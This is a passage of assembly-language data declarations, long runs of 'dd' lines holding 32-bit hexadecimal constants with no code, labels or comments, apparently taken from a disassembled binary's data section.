		dd 2F8DFF41h, 0A2313F2h, 8CDE8040h, 0D5C5FCA0h,	0EE177B7Ch
		dd 3706BD1Fh, 0C23571EDh, 0DAE4B28Ch, 0CCE938D4h, 2BE3CA24h
		dd 5E267C65h, 5C992992h, 0A3B67BF3h, 82D7AD65h,	0A5C13944h
		dd 0B8B96A64h, 31E9DE1Eh, 6B6E92BDh, 0BDBC73DDh, 0CE0302BEh
		dd 0FA3D1EF1h, 0A810A99Eh, 216FE9F5h, 44108151h, 1BA7DED3h
		dd 285AFFB1h, 161DE723h, 8F2F28EFh, 0A059B14Eh,	8498C9C4h
		dd 204334EBh, 2B3B6851h, 0A9322D47h, 0B8014F31h, 40FD0F43h
		dd 2CB03011h, 214C89FDh, 0E6D5A20Dh, 0A6230A15h, 18DA9F65h
		dd 0F97F85A1h, 52C7695Eh, 90DC84AAh, 0AC8F3543h, 87BEDE9Dh
		dd 0BECABB6Dh, 1A43D8B6h, 1F142CE9h, 0FEBC54Ah,	49E53E13h
		dd 4BA6A99Fh, 689CBBEAh, 0A1FD2AB3h, 0B70E0FE0h, 733B95C1h
		dd 7C4F8B8Dh, 96FBC9CDh, 0E3DDFDF5h, 7B01A321h,	0B39EE170h
		dd 9E84801Dh, 92AF490Fh, 31EA0F53h, 1F5DB175h, 0FC08241h
		dd 8C422214h, 1A252910h, 0A2BF6869h, 0D8E36CC1h, 0AB35E1A8h
		dd 5A8A6869h, 1E43EF3Fh, 46136875h, 0B23507A4h,	0F6379224h
		dd 9816D503h, 0BC5DE08Dh, 0B1BD0FEBh, 0F550DCE2h, 0AA5CB9E1h
		dd 119ABD1Bh, 14B99EDCh
		dd 8DF31351h, 9ED08A6Eh, 0C06D3061h, 4CB7D860h,	681B607Bh
		dd 802D00F4h, 66C08B03h, 33F98357h, 86423954h, 763E289Eh
		dd 0D62EE2E2h, 42C38808h, 0A85ACB67h, 5E7296Eh,	6392D2Ch
		dd 0A3BAA062h, 0FCCE9BBDh, 0BB2E4E89h, 0FBBE4CB1h, 0F606E04Fh
		dd 5B904E63h, 817D30B1h, 3F988963h, 5B8D35B3h, 3E8370F2h
		dd 71B1BD80h, 1C75704Bh, 4A44480Fh, 8ABEC65Fh, 0EB58009Eh
		dd 9062082Ah, 0D68CE1BDh, 85BAA826h, 0DD52C3BEh, 8CD5A82Fh
		dd 3CEDEAC7h, 1249170Fh, 1AC7ED15h, 0F5A4909Ch,	961E81BCh
		dd 0B4CEE1DAh, 2AB271A6h, 0A24AD521h, 2D9EC95Bh, 0C2304A6Ah
		dd 0A5C72E2Dh, 8317F560h, 0C098C0C3h, 141631F1h, 867ECD7Ah
		dd 1E1D1959h, 96207B2Eh, 4771C780h, 0FFFC4D08h,	4EEADF21h
		dd 22303B46h, 0A8E662E9h, 512AFA82h, 83E7951Dh,	5716183h
		dd 0FA74EBBh, 0D01079EAh, 0BBEEAC05h, 64800A5Dh, 9218F602h
		dd 52DEE788h, 0B3E0249h, 0DCFBB0F7h, 0A451A6E1h, 0A2AF865Eh
		dd 0FF6AFE94h, 665BA146h, 920D088Ch, 0BA81085Fh, 9CCCEC00h
		dd 569E47ADh, 4CDF0F48h, 4109F818h, 47517622h, 64F1585Eh
		dd 0BEEDFB33h, 2FC22828h, 89CBA75Eh, 0FA36595Eh, 6BC7A17Eh
		dd 0AB7C1A3Dh, 6AC02812h, 6FE2A89Ch, 0B85AF201h, 42187316h
		dd 0FE009519h, 58C5F615h, 0C3110920h, 44AF4820h, 437BE1EBh
		dd 25FE4854h, 3A150E1Bh, 0AD13B211h, 8E001E40h,	2CBF887h
		dd 1C1C4DE0h, 9DEC5D21h, 1FF8529Ch, 56350C3Ah, 1A7E9E91h
		dd 0DA8B3543h, 8E0A7865h, 0DF7D59D1h, 10A9C8CDh, 877D0543h
		dd 0A782C0C8h, 0BBEF3A11h, 8285ADC8h, 4784AF6Ah, 0B44E7876h
		dd 20227149h, 2C71144h,	192710DBh, 7EC00214h, 7DF165CDh
		dd 4C711969h, 0AA288608h, 42965DE9h, 0DB6AC8C9h, 0EB23AD82h
		dd 435BAD28h, 0DE1542A7h, 83235DF9h, 2B1982B2h,	2861AD15h
		dd 3EF4DBDh, 3A17E681h,	2317DA82h, 824CD69Dh, 209BAC42h
		dd 0EEBBEAF8h, 77B0D7B3h, 3DDBB0C7h, 0C51DB520h, 4517F29Ah
		dd 24212F8Ch, 32D3B909h, 0EEA161Dh, 1FBB32BDh, 0B64204D6h
		dd 6DBC484Dh, 8B60DA53h, 833505C5h, 0D59E4442h,	37BA52A0h
		dd 0E5F94B1Dh, 4A590551h, 947AFF5Ch, 62B4A471h,	0FDFB184Bh
		dd 0E8F2CBE8h, 0C4C79E0Dh, 0BC5ABD61h, 37E0489Dh, 0FB523A28h
		dd 0ACCC0883h, 80D34881h, 0CD0B4B99h, 86105136h, 125A814Ch
		dd 0DE8BB029h, 0A7F2C40h, 855B5C88h, 846136BBh,	3E2F9E1h
		dd 460FE7C0h, 2360A13Dh, 8F72F2F1h, 4E16AF9Bh, 0EB4ACF89h
		dd 62DAA14Ah, 58BBC087h, 72331149h, 0DC89B873h,	0BD2C52C1h
		dd 3A80A5FBh, 0B5191892h, 47A51143h, 0C071ED1Dh, 1DBCBEA1h
		dd 0B6AB99B3h, 0BBA2E10Ch, 0F11E5D5Dh, 751DEC69h, 1F632AB5h
		dd 9BB4DA2Fh, 0DF1F0945h, 0BF5E9B17h, 8D018159h, 5A9067BDh
		dd 1C280D2Ch, 8263991Dh, 152C28D8h, 42589BD2h, 4E3D3178h
		dd 5539CA91h, 2D7AA007h, 0AB63A183h, 0B68BDB81h, 0D8F039ADh
		dd 993CFC4h, 0EC0F2658h, 0DE5D3E8Ch, 4AEB191Bh,	0B49CE7DCh
		dd 0BAF07B21h, 24D14841h, 0F404C87Eh, 3313C4C1h, 155CA917h
		dd 0BA410381h, 0DED49584h, 8512F306h, 0AAF1CEB6h, 32F600B3h
		dd 98DB2244h, 0F4DB480Dh, 0FB4A4BB1h, 0C00CA94Eh, 0DC281DD8h
		dd 8CA838A3h, 844569CDh, 0C220EE75h, 0BB2EE337h, 0A87CE515h
		dd 0BEF5459Ch, 0AC78365Fh, 0C15B43C4h, 0AB2CFBA2h, 2A23D2DEh
		dd 143D0F74h, 0C00E320h, 4785CD41h, 7BB7C04Ah, 0CB5D9BE4h
		dd 0EA5A2A6Dh, 9E2A8C7Fh, 0BC16C941h, 0AE8C3049h, 6FBE629Fh
		dd 91FB152Dh, 528CC14Dh, 2C48D12Dh, 0DD2EB269h,	0B130C1CAh
		dd 113D311Bh, 0AC1B885Ch, 3D6824Eh, 4765752Fh, 0BB67459Ah
		dd 3897B341h, 1C18F297h, 92F93329h, 0CE267A88h,	9462C70Dh
		dd 0F68F483Ah, 0F65D3620h, 7EF4FB2Ch, 0E440C8BCh, 0C7CBC3D4h
		dd 0AB655DE3h, 0AABDD9E6h, 637314Ch, 0E3D053Dh,	9466F1ABh
		dd 0B8FF023Fh, 0D20CE778h, 0AE659984h, 1EDA6D49h, 16305B62h
		dd 81DB598Dh, 2B3F3C00h, 6346DE51h, 0B36A031Fh,	0BC343C5Dh
		dd 0AA342BFh, 0FE160231h, 1AAE69h, 90C10A37h, 82AEEE9Dh
		dd 8DD2D7Eh, 0D792364Ah, 8237AB35h, 0A9B87598h,	679714EEh
		dd 7B838FD4h, 26235176h, 73CD763Dh, 0E110C80Eh,	0AC972E9Dh
		dd 1A3F2C59h, 5ABECBBCh, 9000A955h, 0A201E4C9h,	1202534Ch
		dd 0DEB75F3Dh, 692C0079h, 90AD314Bh, 916DDEFFh,	468E91E6h
		dd 0E1FB526h, 0AE92F24Eh, 0FAF4304Ah, 17C05CADh, 66DC6Ah
		dd 0EE32753Bh, 12449091h, 67BBE4B8h, 0AE8D0FA1h, 76BBD27Ah
		dd 5E331FA9h, 5A1F9905h, 34CCD86h, 0A5AA3651h, 0C4F547A9h
		dd 0AC0A9FB3h, 0B820CE1Bh, 9C8AF9B9h, 0A2BF5C71h, 25E05DF5h
		dd 6E201DC1h, 0F89AD190h, 270B953Dh, 7D4FC2BDh,	0D4F17B92h
		dd 0E6DED4E3h, 669D01E1h, 52A2C914h, 0B06639C5h, 6AC58875h
		dd 78693669h, 62A0CE43h, 0EA129462h, 16EB4FA4h,	92C02150h
		dd 2512A5A2h, 0E35F0170h, 0A26361A3h, 19321D38h, 992BC9A1h
		dd 0FE8B55B2h, 773B46D2h, 2258073Dh, 0F78CCEBFh, 0E2FF5145h
		dd 57FEB6B5h, 89C20DABh, 869EA412h, 0A3273013h,	0BEAA4883h
		dd 0ACECE091h, 2667E91Dh, 0FC33030h, 49F1D638h,	6E33F836h
		dd 58BE6D28h, 174690D4h, 4007401Bh, 1902C9FFh, 811143FDh
		dd 0F7B3ECB6h, 33BD180Bh, 0F0D25A11h, 723445B1h, 275BEDBDh
		dd 0A93A168Fh, 97B8C00Dh, 4BAD6B2Bh, 0C294372h,	0B19DB5B9h
		dd 0A68CAC58h, 0D035C445h, 0AB24F020h, 0E4263034h, 0F6030949h
		dd 564B2B94h, 0E8C1200Dh, 2E323111h, 0F73A805Ch, 0EF29CBDh
		dd 830A010Ah, 0E59EEA82h, 8DFAF8B0h, 0EFB2DBCAh, 0F77ACEB1h
		dd 0EB24093h, 6872644Dh, 0C35A6CD6h, 859B90F0h,	0A4E085FBh
		dd 64772CFEh, 7D5A92B5h, 833117DDh, 5ED8B660h, 5F66BDEFh
		dd 0FF1AA56Eh, 0C9F9E8F3h, 0B36F11E7h, 2F8EBA99h, 0A6252849h
		dd 7B142960h, 1959A98Bh, 0AB62CD3Ch, 0B7359299h, 3BC9CD9Dh
		dd 0DC3AB149h, 32CE569Dh, 2F58593Ch, 0BA62CF7Ch, 82BE3721h
		dd 9AE31EB3h, 0AB55CE12h, 12636BDh, 0AE39E53Dh,	0CCEFBB99h
		dd 0BB0C2855h, 5A8B4293h, 863131B6h, 0F5FE99EDh, 5747FA80h
		dd 8600010Fh, 3B82F25Fh, 0F59D29A9h, 0FBC81A3Dh, 62FA1621h
		dd 5CBE8D4Eh, 0FE2A6941h, 0B0360331h, 0AAFA6642h, 154CAD39h
		dd 8DB4895Dh, 54BF47BDh, 964BC958h, 4B2F417Dh, 61BEC696h
		dd 8701BCh, 0FFC610Ah, 4FE91813h, 6CEA6B2h, 0CBBCE6E9h
		dd 6AF4D614h, 70C4C3AFh, 122237C2h, 901035BCh, 0B6CDD389h
		dd 7B0BA388h, 193A7A05h, 0BAB0B3CCh, 0C593EFDFh, 0A2DB347Bh
		dd 54AF7AEBh, 70CF60C0h, 72EEAD3Ah, 6530F9DDh, 6626241Dh
		dd 0D7F2ED0Ch, 23221976h, 8F079EB5h, 5DCAEAB5h,	0EEC2ECB9h
		dd 9D16EDFAh, 0DB50D376h, 8C15AEE0h, 4F74CD81h,	0B9CB7244h
		dd 0A680FFFDh, 125E31D0h, 0B0505821h, 36810135h, 1F251914h
		dd 6BD3AB5h, 52542970h,	0AB8C3103h, 0FF503427h,	0D839005Ah
		dd 488B6D62h, 9F322D13h, 4ABA80BBh, 5DBE96BDh, 0A54BA54Eh
		dd 0BC6859E1h, 0BB34D1F7h, 0F552E373h, 53CA8743h, 781D1B59h
		dd 5723F911h, 579E49C3h, 202FE534h, 1F653165h, 0F2A0C07Eh
		dd 0AB35FD4Ch, 0E77D148Dh, 4B1D0D61h, 9F1F333Eh, 0CC00AF80h
		dd 5C82AB31h, 31533335h, 0D2433D4Ch, 28CD40B5h,	360BC0B5h
		dd 436CDDF6h, 66617A3h,	33381D0Dh, 5C0405ECh, 944C2AB6h
		dd 8202E921h, 5E2DB073h
		dd 98C10D5h, 49108ABCh,	0B2F08914h, 0D323BC6h, 1B213542h
		dd 28D429C9h, 56CBD1CDh, 5CC3B23h, 4399548Ch, 4309FA5Ch
		dd 0F4E0E80Fh, 5642959h, 0FF1353C4h, 0BC1BEA58h, 0B45F47D4h
		dd 49AA0810h, 6D4A1E54h, 7E39780Ch, 52D45321h, 0AA09882Fh
		dd 5530D304h, 15BC1D21h, 5A169380h, 7E2DAB6Fh, 0AD50B4B5h
		dd 96C86EDh, 0C07AD121h, 0A9F4D001h, 0C1970B3h,	0B832B9E1h
		dd 6183982Fh, 6B2F2822h, 0E2C8DD41h, 0DA7CE74h,	3ED9840Ch
		dd 93F0D0FCh, 0BD34F608h, 603CD76h, 19A3AE52h, 0AEA2041h
		dd 7F19CB9h, 7E08A9CDh,	0A5E20541h, 4CC6DC3Fh, 0D9A0EC2Bh
		dd 0BA65C8ACh, 0BF301E9h, 454F6C60h, 95012AA1h,	0A514E344h
		dd 5B90C77Ch, 0DFFE11CFh, 230E4AE9h, 0AE9B2D5Ch, 60F7B7A0h
		dd 4701DC7Eh, 0A8D65B84h, 0AEA8A744h, 8EFC0E9Fh, 0CE01C78Dh
		dd 60249293h, 5362EB6Eh, 0F70AA8Bh, 0DE11DC55h,	0BE5D5D65h
		dd 0A6BBE215h, 0A7AED62h, 281B522Dh, 5921C563h,	0F7D2EEDDh
		dd 0EB5C11D4h, 40F0DABDh, 2398697Ch, 6B9A1B1Dh,	98632F60h
		dd 1B21051Ah, 5F80ED5Ch, 2126C19h, 0D701A765h, 57D8E0FDh
		dd 0B1D92DBAh, 8B050050h, 3FCB3628h, 1EF13193h,	0E404D278h
		dd 0D2EAE851h, 508E5Dh,	0A51BE961h, 0BB2EB62Ch,	0A5D9F293h
		dd 0E50500C1h, 6922371Bh, 0AD2353C5h, 5ABEDD1Ah, 0AA7AAA62h
		dd 563253FDh, 42D0FA21h, 0BB3553BCh, 469F5AA9h,	41E66F7Ch
		dd 201A8915h, 0E2210773h, 0BB6892C3h, 7CD8CFE4h, 55DA9D42h
		dd 0FD23ACB5h, 4DDD6D1Ch, 0AF1960B5h, 0AC6B5963h, 462036DDh
		dd 77DB513Dh, 8C53D435h, 1F5C145Fh, 57FF7891h, 0BEA08E14h
		dd 0A672074Dh, 0BE3106AFh, 449A937Ch, 6663DD47h, 40C13341h
		dd 31FD0703h, 74780ADDh, 0BB2643E5h, 43890F61h,	6DE4E6BDh
		dd 1A1B5481h, 0B3ECD65h, 1AF4C9FDh, 4024E183h, 0FCF80CE1h
		dd 0AA20788Dh, 41D14C15h, 42F55C4Fh, 0C082732Dh, 2490021h
		dd 5EDDA1E0h, 0E6FE5591h, 0AAD3AB16h, 0E1422B39h, 0DE90160h
		dd 0EC050B78h, 9C46D922h, 0D637D810h, 0A1CF2CFDh, 0E7738975h
		dd 0D6351524h, 17881A8Bh, 6368A5CAh, 0B77D290Bh, 0C038F60Fh
		dd 0F3AD3FEAh, 0F28134D2h, 525A1166h, 8C59ABBh,	7AAF7B5Dh
		dd 93BEA319h, 0AC7E5269h, 0B1FA0A8Ch, 0E3714334h, 0B1971319h
		dd 2A1A8A7Eh, 0E229E357h, 0BD624D31h, 7EFC3CA1h, 873AB544h
		dd 0B6F7F017h, 0F02D803Dh, 0A20EF1BAh, 88FECD4Eh, 0E187ACE6h
		dd 5C14A55Dh, 0FC2369DDh, 2B1E525Dh, 5CB72B59h,	7CCB0011h
		dd 0A121B7Dh, 0B0E03E63h, 7E22107Eh, 0E993EAB5h, 1EE9396Ch
		dd 0D37D1C63h, 0B820FD81h, 0BBB6EE4Fh, 0CC3C3175h, 0A2FD1810h
		dd 22D7E395h, 41FE4D51h, 0B627F87Dh, 0DC92EDFDh, 5363A920h
		dd 483AE1E0h, 6778F8DAh, 5CBEE54Eh, 88F46931h, 73C7A995h
		dd 1E19056Eh, 8F7ECF63h, 0AB1AC36Eh, 0F7202A76h, 52BD0135h
		dd 0B626CA0Ch, 0E223E321h, 0BC2E4D71h, 0A0FC3CBBh, 8D23AD13h
		dd 5155E319h, 2467E155h, 92322A89h, 4836AB50h, 0FB906DB5h
		dd 0A2413ECCh, 0C9B3ACD7h, 31350089h, 920AB9D3h, 0A5C2A88Dh
		dd 220E82B4h, 46DBED91h, 8600B738h, 9CDEF344h, 55334D13h
		dd 4E5831BAh, 0BEFE413Dh, 5CB4A159h, 7E360089h,	0AB72D31Ch
		dd 0A2BFCAAFh, 0E68113F8h, 612C4643h, 0AA8100EFh, 4FFD8EFDh
		dd 572A15CDh, 1F903C75h, 4C251E8h, 97EA5545h, 3A278557h
		dd 5EB27961h, 0A6E8EDB3h, 3E1F883Bh, 46BA7BAAh,	0BED3CA94h
		dd 0B6CE3E55h, 0C49533E7h, 0DCAF5563h, 32E7490Fh, 693CDC0Fh
		dd 44EB743Ah, 4685B6E1h, 7EE6F659h, 4F7C8DDEh, 5E206DFCh
		dd 0CCB86502h, 70B02345h, 42831291h, 3ECE3D94h,	4784023Fh
		dd 52520963h, 226D12BDh, 0B3455407h, 21521D15h,	0C7937576h
		dd 0D0353F2Fh, 448D821Bh, 0BB44F25Ah, 3C8FFEB8h, 9D39A7D3h
		dd 21207EADh, 9CEC834Ah, 6833ACBBh, 16335A79h, 1812A1Bh
		dd 8623D51Bh, 24EAE0B9h, 5E33E3C1h, 52BEF50Fh, 0B682D394h
		dd 0AB936D63h, 56812B1Bh, 5C401594h, 0F1C66D02h, 0A8E35944h
		dd 61200045h, 0CD86B170h, 5E137D6Dh, 0D6203B51h, 236DE12Dh
		dd 0ABB74AB3h, 0AAC2ADFDh, 300CB59h, 0BE32CA21h, 708324A1h
		dd 0A223F537h, 235977BDh, 54BA7F85h, 0F36A6FB5h, 0E80B1130h
		dd 661933E9h, 0BF2F8F4Ah, 0D066D210h, 0B4EC62BCh, 0C06F137Dh
		dd 5E3EB977h, 342736A9h, 0AED3C75h, 9CB25D3Eh, 0D2EEEA2Ah
		dd 0C0A8EE7h, 7E79A53h,	0D95C92E3h, 3E2055C9h, 71385CE1h
		dd 0EDA18C5Bh, 6263BEC8h, 23FD19CDh, 0EDEF54BBh, 236F9115h
		dd 0ABB4BA9h, 0A9DC2B64h, 7CA5565Ch, 0A2BFC42Eh, 0B25D14FCh
		dd 0CC90ECB5h, 493AFD6Ch, 0E2D0B020h, 462AED79h, 6200B70Ah
		dd 24F72044h, 0F89F6B32h, 0ACCEC231h, 43493144h, 0EF350349h
		dd 7728CF75h, 0D1CE5D03h, 6C9AF2B9h, 91E8A910h,	0E22EC24h
		dd 5EC9F6B7h, 73E2EBC9h, 29732947h, 0ABEDBD98h,	0FBCCEDBh
		dd 6376D30Ah, 9F3AEF41h, 0A65D221Bh, 0CF375957h, 33D610AAh
		dd 0E313E606h, 12C83507h, 4AF5AE5Dh, 493BFDCCh,	0EF5EA8B4h
		dd 9E4340B4h, 0A4396821h, 0D61A388Dh, 7C070C97h, 1C22E19h
		dd 2AAD4BA1h, 40BA9D55h, 9F3D2B74h, 87EB4876h, 0A53A896Fh
		dd 833CAD38h, 0B4A31D04h, 0B5DC56B1h, 615B639Eh, 5000814Ch
		dd 0C2990F0h, 31087C7Dh, 0A352B99Fh, 7C056BC7h,	16394A73h
		dd 6D2775F3h, 4B3D4EB1h, 5C94899Ah, 832D2807h, 0D09AA412h
		dd 4D727999h, 0E232E221h, 0A34CEE29h, 86B4C535h, 0CAE2A2B5h
		dd 24DCF361h, 5EC214D6h, 0A722FB80h, 0B3A7F4E7h, 0EF10539h
		dd 5FB02F0Dh, 0B38E0032h, 0FB3BCA32h, 0F0417DA0h, 47FD2D9Ah
		dd 4DC23D2Eh, 203089C9h, 0F25A02BDh, 321F2BBh, 23D606Dh
		dd 7C583369h, 0A1030533h, 960EEA0Fh, 0CDF6561h,	6D2BED6Bh
		dd 0D3ADE357h, 55773C89h, 77A34014h, 74AD3ABDh,	8ADA42E2h
		dd 9FAC1AF2h, 26697DEAh, 5BC213B6h, 625BA80Ch, 0E6C12818h
		dd 7FEDEDF2h, 43FC655Dh, 5C2D695Dh, 3F9F6965h, 351EEFE0h
		dd 0D7E10DD4h, 0DA251317h, 462C0821h, 5C028F06h, 2EBFD1E9h
		dd 0CB7D3E7Dh, 0AEDE4863h, 0AA1A5342h, 7470A9D9h, 1EA1058Ah
		dd 97A9A63h, 0AFAC589Ch, 727D3EC1h, 483A8580h, 4270F938h
		dd 0B1AAF139h, 0D5B3AC2Fh, 79FEB1FDh, 5CB4E759h, 7EFD0039h
		dd 0EF4ADD5Eh, 0FC2C103Bh, 22120FF1h, 0B02B1763h, 0BB2D6472h
		dd 0CC403125h, 0A2C9186Ah, 22E1E399h, 0BCCE4D41h, 25203FF0h
		dd 22D53140h, 0B7CEF8E7h, 0A59C30FFh, 221E57B4h, 46B2ED01h
		dd 7600B78Dh, 35DED844h, 7C33F913h, 5CB4D1BAh, 7EF80075h
		dd 0ABF6D0B8h, 90322A51h, 5EFEA942h, 615C1548h,	0AA050043h
		dd 547290BFh, 5D54296Dh, 0BC738703h, 0F2011D3Dh, 5CB47059h
		dd 7C820059h, 4212019Ah, 2BBF88BDh, 0AB6344F1h,	53209332h
		dd 1FC92949h, 0AF7D2A34h, 1416CC61h, 0A622077Fh, 7D90F4B5h
		dd 513D2D6Ch, 0B791A920h, 0BABD31F7h, 8E26850Ch, 1F3B7361h
		dd 0DE26D83Dh, 7C530095h, 2AE303BBh, 7369A99Dh,	5CB93AAEh
		dd 7E810081h, 0AC6AD385h, 0E9322AD8h, 5F72A94Bh, 248D15CFh
		dd 6AF0A771h, 0D41E6C6Fh, 0E298B9ECh, 0A5D608C4h, 332B894Fh
		dd 702C235Fh, 0BBB3EE4Fh, 0CB0431EDh, 0C62D391Ch, 0E21AE321h
		dd 0BCA24D73h, 55FC3CB4h, 943ABD44h, 0E6B45705h, 718BEBB5h
		dd 6977A6B5h, 79B4B9ADh, 4026F6D5h, 0F5BB74B3h,	22F40134h
		dd 0A23ACD25h, 0E93B7766h
		dd 417AA177h, 0B7738E59h, 3CE03EAh, 6C771E3Dh, 23F533BFh
		dd 8623ADE8h, 0DDC6C0D0h, 18F95F9Dh, 0E9C50E04h, 177EF01Ch
		dd 6ECD10F8h, 0E9C5304Bh, 0ECFEFDEDh, 1F6DEF6Fh, 4A137639h
		dd 0BBEF0F8Eh, 7A2C297Dh, 262CFB75h, 0C8D2ED63h, 0BB01EE4Eh
		dd 7A5A2969h, 535DA897h, 297BFEB4h, 22EFF744h, 595F688Dh
		dd 0E4ED3144h, 481A305Eh, 5378B345h, 6F033BB4h,	4B052550h
		dd 779FAB4h, 0BCC7BAC3h, 0E6AFC14Dh, 0ED65B16Dh, 4BC99990h
		dd 195A9C71h, 6C21FBA7h, 6D143A61h, 1678DB9Ch, 5FC5535Fh
		dd 6E16F90Dh, 8D336862h, 0E5EA8062h, 0EC72AD4Ah, 0C82C0661h
		dd 2179E31Dh, 52C385Fh,	85FE7081h, 60FC0907h, 0B1890EB1h
		dd 4B7A7D63h, 0D7209D81h, 0AD64024Fh, 0C0BA96B5h, 3E26690Ch
		dd 0DEB5E321h, 3AE330EDh, 0BD39DEB4h, 22AAB1C4h, 0AAA1F904h
		dd 0BBAEE339h, 0CB6CD7Bh, 0A510303Dh, 0BC7C816Ch, 0CC293125h
		dd 0A2D1183Ch, 7ABAADA0h, 0BBD262B7h, 0BC38C497h, 5EB82A7Ch
		dd 3F33A150h, 0D02E2041h, 40A3CD4Dh, 0B8312AFDh, 7ABAE5B8h
		dd 0A1169061h, 76033EDFh, 0B2E0BB44h, 0A2F111BDh, 6186AC22h
		dd 632E944h, 0B23C6AD4h, 6F00AD61h, 5B5E9DFDh, 612CE743h
		dd 0AA0D00C8h, 9FCA905Eh, 89C11D4Dh, 2AE203BAh,	774BAD5Dh
		dd 9EFF0D5Dh, 0FC350144h, 0B60A34D3h, 22BF6BBDh, 6B7722AFh
		dd 0B7EA9D3Dh, 0A600AAA3h, 0A0DE8444h, 20322D13h, 31CBD2BBh
		dd 0B0802523h, 1F5399ECh, 7831FBD6h, 6DD52B4Bh,	0E03D33BDh
		dd 0E191FFCh, 2FFFEFE9h, 0B9213B79h, 20FFADEBh,	9971427h
		dd 756D703Dh, 0CFDB0E4Bh, 2529E6h, 0E2D579C0h, 2A59446h
		dd 0B987F626h, 0CAB1CAF5h, 11B8B5C4h, 251DA47Fh, 7C5DFADh
		dd 1525592h, 0FEBF6FB8h, 0C63DE3A9h, 9036EED2h,	5E83BDBBh
		dd 10258E9Dh, 809757BDh, 0B7E1344Ah, 43372BCBh,	0C4613CEBh
		dd 0EA8ACEA3h, 0CA2350F3h, 73B7BC72h, 83F47479h, 0AF8577F5h
		dd 6FF01330h, 4F49B2EAh, 0BE7C015Ah, 430F3B6h, 0BBF2EBF0h
		dd 0BC27717Dh, 5517B60Dh, 0EB0A92F6h, 0BD397224h, 25F9CCF5h
		dd 0F1EEF26Fh, 16FBFF9Ch, 0C619C344h, 4D193CCCh, 0DA51F320h
		dd 847C9464h, 8A0C925Dh, 0AC72AAB4h, 0EBFFB8Dh,	1E30294Eh
		dd 9ECF6C61h, 0AE3FBCE4h, 8C0CBB24h, 43848D9Ah,	0AD86F0D3h
		dd 8BEB540Eh, 6CB98068h, 3E3309Ch, 71A7B00Eh, 869A4D3Ch
		dd 24FFCC11h, 39378F75h, 3AC3940h, 12EBBE0Bh, 1B7E397Dh
		dd 0FCF3D2BDh, 0B1920011h, 1F0B292Dh, 66DD28BFh, 425A0D44h
		dd 0A4B7E998h, 3FBC0A9Dh, 1FBBAEA7h, 0B9C8D9D5h, 0C339B4B6h
		dd 0E72F6D10h, 42E40D03h, 9F0031C1h, 90062969h,	0C6E13199h
		dd 179F7E3Bh, 30EB50B3h, 48DE86ADh, 615AF3D1h, 118C0D3Dh
		dd 6D78C3ADh, 0CC224074h, 370A0EB1h, 0D204CC43h, 0B64D097Dh
		dd 5F5B32E9h, 45C4BCDCh, 3035E54Bh, 1CEDEA41h, 56CF71FCh
		dd 6CC30050h, 0F13E3DE1h, 0ABE36661h, 0AA3854DDh, 87805541h
		dd 0F124E07Ah, 0BD51D767h, 0F5A30EF6h, 0DA220647h, 0AE582098h
		dd 675B91Dh, 6B1421F7h,	3FFE61F4h, 0D6903ED6h, 600C49E5h
		dd 5DC1115Ch, 3551046Ch, 3FE8472Ch, 922EA861h, 419CA61Bh
		dd 775D4BDh, 0AC533A1h,	0DF73560Dh, 39E3F747h, 9BE3976h
		dd 2C7B1095h, 0BB1EB6B7h, 5AC03091h, 16495963h,	8A3131FAh
		dd 0FABCBE97h, 0CFD8F078h, 8760DF55h, 0BCE89297h, 7F8D5D5Bh
		dd 7D5506F0h, 11BE76A9h, 0B032AE62h, 2201B0B5h,	8A22197Dh
		dd 0B6545563h, 0FA0EE1F3h, 0AE80B495h, 0F4E603F6h, 0A63AEC78h
		dd 0E65BE095h, 485364A7h, 5CD2F9A4h, 443377A9h,	545B9F74h
		dd 314BC0C3h, 25496987h, 2327611Dh, 9E46F6C2h, 0BF6DC629h
		dd 0F6C3A0FBh, 7213027Fh, 0ECEEDB30h, 9D050EBBh, 0AAFEAFFDh
		dd 5F8BAAE7h, 0A63B0891h, 383C1961h, 0FA3EABF7h, 0EABE6765h
		dd 680A1AA1h, 42C7ABA3h, 5F0B5C01h, 0B2E7AD49h,	2455DE27h
		dd 82D70178h, 0A5CC26h,	0DE4ADEACh, 0ABD10951h,	6650ED79h
		dd 250C31D9h, 16F08ABFh, 735978BDh, 3492372h, 2D64773Dh
		dd 261DEF2Dh, 0AF439C44h, 6F7A425Dh, 39F44403h,	4F33BCFFh
		dd 0D4510140h, 9BC6AC20h, 8BA54BE8h, 519C4A1Ch,	8DAD305Dh
		dd 3612BDF6h, 90336266h, 67CDAD7Ah, 0AE51A114h,	1ED05D1Ch
		dd 65E83721h, 0DADB953Ah, 0FA1C864Dh, 0AA49083Dh, 5F5AFF4Bh
		dd 275FC856h, 5F287CA7h, 0DE012EBAh, 1D16530Bh,	80E482CDh
		dd 0EB769E03h, 16334F84h, 2B91000Fh, 0F2C24E7Dh, 5D77793Dh
		dd 5A26F4AAh, 5BF5EB4Eh, 2A3266DFh, 8CC68092h, 5BD37AB9h
		dd 8D21653Eh, 23778515h, 0A2B634C6h, 33DF52C9h,	82383DA4h
		dd 420E25Eh, 0B8A30141h, 66D5684Dh, 1D7F4EB2h, 0C647E431h
		dd 0C1862C5Ah, 372A7DF9h, 3DBCDF17h, 1FAFF962h,	0A71FB584h
		dd 3E0B157Ch, 0C7F8FB29h, 0E7126A54h, 53EE35B4h, 0BDB86F2Ch
		dd 5A3EE99Ah, 45466349h, 0B4CFE4B3h, 0E752CEBAh, 931C3DC9h
		dd 25ADD079h, 0AEEF7456h, 525D1233h, 5591F89Eh,	0A3DB35B3h
		dd 6C2AF6AAh, 0AB39163Bh, 0D721A902h, 0C35D99B3h, 9EB6B995h
		dd 5F0A0D6h, 0A873D07Dh, 3491411Dh, 0B39D8F27h,	83377AB4h
		dd 0BADEE37Dh, 4602CDF3h, 7096E1D4h, 2ED0231h, 8B1E89EDh
		dd 0B83FB874h, 5E072B59h, 0A2997568h, 20929261h, 439AF072h
		dd 6D333D59h, 499AB378h, 0FA750E16h, 0FAD13C81h, 70F9FE4Bh
		dd 23DE8A2h, 0DB15EA0Dh, 9B79591Ah, 36F9049Dh, 6317254Ch
		dd 5E9A5241h, 0AEBD5569h, 0F9C7359Ah, 24F21C3Bh, 0B602B573h
		dd 3849D123h, 0F93A22F9h, 8E99569Ch, 6490A8AAh,	47FB74CBh
		dd 3F5C2EA9h, 0C371989Ch, 43AF3763h, 7F3FA8CCh,	0D21AFA3h
		dd 729FC8BCh, 56B52A5Eh, 66821A0Ch, 271A622Fh, 3483B2B8h
		dd 9AFCF81Bh, 32E34633h, 0E138DF5Ch, 0AD402971h, 0EF96B422h
		dd 4E3E08A6h, 5EF5DD9Ah, 0A6053AD9h, 7134603Ah,	5C6A6122h
